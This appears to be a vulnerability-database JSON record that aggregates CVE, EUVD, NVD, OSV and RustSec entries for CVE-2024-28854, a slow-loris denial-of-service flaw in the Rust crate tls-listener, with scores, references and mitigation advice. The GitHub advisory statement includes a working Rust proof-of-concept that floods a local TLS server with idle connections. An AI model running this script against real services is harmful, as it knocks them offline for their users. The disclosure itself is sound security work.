{"id":"GHSA-2qph-qpvm-2qf7","revision":null,"records":[{"revision":"757d1de94e134de5b72d0b6cb7a325df","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2024-28854","aliases":[],"title":"Slow loris vulnerability with default configuration in tls-listener","description":"tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.\n\n","state":0,"publishedAt":"2024-03-15T18:54:58.524+00:00","modifiedAt":"2024-08-02T00:56:58.073+00:00","affected":[{"ecosystem":"Vendor product","name":"tls-listener","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"tmccombs\",\n                    \"product\": \"tls-listener\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.10.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7","https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4","https://en.wikipedia.org/wiki/Slowloris_(computer_security)"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-28854","license":"CVE Program Terms of Use","key":"cve-program:CVE-2024-28854","identifiers":["CVE-2024-28854"]},"retained":false,"historicalAffected":[]},{"revision":"2f9b76054e4144c28519fe27c9c13db8","observedAt":"2026-11-09T00:06:55.434+00:00","statement":{"source":"euvd","id":"EUVD-2024-0790","aliases":["CVE-2024-28854","GHSA-2qph-qpvm-2qf7"],"title":"tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default config…","description":"tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.\n\n","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7","https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4","https://en.wikipedia.org/wiki/Slowloris_(computer_security)"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-0790","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 15, 2024, 6:54:58 PM","dateUpdated":"Aug 2, 2024, 12:56:58 AM"},"relatedAdvisories":[{"id":"openSUSE-SU-2024:14009-1","title":"cargo-audit-advisory-db-20240528-1.1 on GA media","vulnerabilityIds":["CVE-2024-28854","CVE-2024-34063"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2024-0790","identifiers":["EUVD-2024-0790","CVE-2024-28854","GHSA-2qph-qpvm-2qf7"]},"retained":false,"historicalAffected":[]},{"revision":"c427dcd9a38b49c39998b2367ce801ab","observedAt":"2026-10-24T23:17:34.532+00:00","statement":{"source":"nvd","id":"CVE-2024-28854","aliases":[],"title":"tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default config…","description":"tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.\n\n","state":0,"publishedAt":"2024-03-15T19:15:07.627+00:00","modifiedAt":"2026-06-17T07:21:53.827+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://en.wikipedia.org/wiki/Slowloris_(computer_security)","https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4","https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-28854","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-400"],"productCriteria":["cpe:2.3:a:tmccombs:tls-listener:*:*:*:*:*:rust:*:*"],"sourceDates":{"published":"2024-03-15T19:15:07.627","lastModified":"2026-06-17T07:21:53.827"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2024-28854","identifiers":["CVE-2024-28854"]},"retained":false,"historicalAffected":[]},{"revision":"513f0dbe14244b8cb4f0825fb70d1896","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-2qph-qpvm-2qf7","aliases":["CVE-2024-28854","RUSTSEC-2024-0341"],"title":"tls-listener affected by the slow loris vulnerability with default configuration","description":"### Summary\nWith the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.\n\n### Details\nThe default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.\n\n```rust\n/// Default number of concurrent handshakes\npub const DEFAULT_MAX_HANDSHAKES: usize = 64;\n/// Default timeout for the TLS handshake.\npub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);\n```\n\n### PoC\n\nRunning the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.\n\n```rust\nuse std::{net::ToSocketAddrs, time::Duration};\nuse tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};\n\n#[tokio::main]\nasync fn main() {\n    const N: usize = 1024;\n    const T: Duration = Duration::from_secs(10);\n\n    let url = \"127.0.0.1:3000\";\n    let sockets: Vec<_> = url\n        .to_socket_addrs()\n        .unwrap()\n        .inspect(|s| println!(\"{s:?}\"))\n        .collect();\n\n    let mut js = JoinSet::new();\n\n    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));\n    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);\n    for _ in 0..10000 {\n        for &socket in &sockets {\n            int.tick().await;\n            js.spawn(async move {\n                let mut stream = TcpStream::connect(socket).await.unwrap();\n                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;\n            });\n        }\n    }\n\n    while js.join_next().await.is_some() {}\n}\n\n```\n\n### Impact\n\nThis is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener`\n\n\n### Mitigation\n\nPrevious versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.","state":0,"publishedAt":"2024-03-15T19:57:22+00:00","modifiedAt":"2026-09-10T03:50:00.245355+00:00","affected":[{"ecosystem":"crates.io","name":"tls-listener","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.10.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7","https://nvd.nist.gov/vuln/detail/CVE-2024-28854","https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4","https://en.wikipedia.org/wiki/Slowloris_(computer_security)","https://github.com/tmccombs/tls-listener","https://github.com/tmccombs/tls-listener/releases/tag/v0.10.0","https://rustsec.org/advisories/RUSTSEC-2024-0341.html"],"sourceUrl":"https://github.com/advisories/GHSA-2qph-qpvm-2qf7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2qph-qpvm-2qf7","identifiers":["GHSA-2qph-qpvm-2qf7","CVE-2024-28854","RUSTSEC-2024-0341"]},"retained":false,"historicalAffected":[]},{"revision":"883135063acc432d8a2839fe7104143e","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"RUSTSEC-2024-0341","aliases":["CVE-2024-28854","GHSA-2qph-qpvm-2qf7"],"title":"Slow loris vulnerability with default configuration","description":"tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.","state":0,"publishedAt":"2024-03-15T12:00:00+00:00","modifiedAt":"2026-10-12T18:00:02.6611459+00:00","affected":[{"ecosystem":"crates.io","name":"tls-listener","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-0"},{"kind":"fixed","version":"0.10.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null}],"references":["https://crates.io/crates/tls-listener","https://rustsec.org/advisories/RUSTSEC-2024-0341.html","https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4"],"sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2024-0341","license":"OSV · upstream source license applies","key":"osv:RUSTSEC-2024-0341","identifiers":["RUSTSEC-2024-0341","CVE-2024-28854","GHSA-2qph-qpvm-2qf7"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T11:25:04.0778179+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T11:25:04.0778179+00:00","lastSuccessAt":"2026-11-10T11:25:05.0136335+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:05.0136358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-7f63d5ae9ad1cf5d15daca54e2cb44cc953d9727a9c4dbe21f340d16ec79e07a","complete":true,"records":421929,"lastAttemptAt":"2026-11-10T11:21:40.8171583+00:00","lastSuccessAt":"2026-11-10T11:21:40.7840841+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:21:40.8171583+00:00","snapshotPublishedAt":"2026-11-10T10:23:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d438db76762e40e09fae683c91dc71f3","complete":true,"records":13691,"lastAttemptAt":"2026-11-10T11:26:02.3053181+00:00","lastSuccessAt":"2026-11-10T11:26:02.298+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:26:02.298+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13744,"expectedIdentifiers":13744,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T11:25:04.0778179+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T11:25:04.0778179+00:00","lastSuccessAt":"2026-11-10T11:25:05.0144698+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:05.0144706+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c3b5116d0840469fb49189e776b1e7eb","complete":false,"records":13697,"lastAttemptAt":"2026-11-10T11:25:33.4594859+00:00","lastSuccessAt":"2026-11-10T11:25:33.455+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T11:25:33.455+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13744,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T11:25:03.699196+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:03.699196+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T11:21:41.0754601+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:21:41.0754601+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T11:25:03.948442+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:03.948442+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-86f40cdda9ca36627f818d0cc8237a8a8c7c22cb687d6747a4ea12bded69e17e","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T11:25:02.6977972+00:00","lastSuccessAt":"2026-11-10T11:25:00.8551311+00:00","error":null,"lastVerifiedAt":"2026-11-10T11:25:02.6977972+00:00","snapshotPublishedAt":"2026-11-10T11:03:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}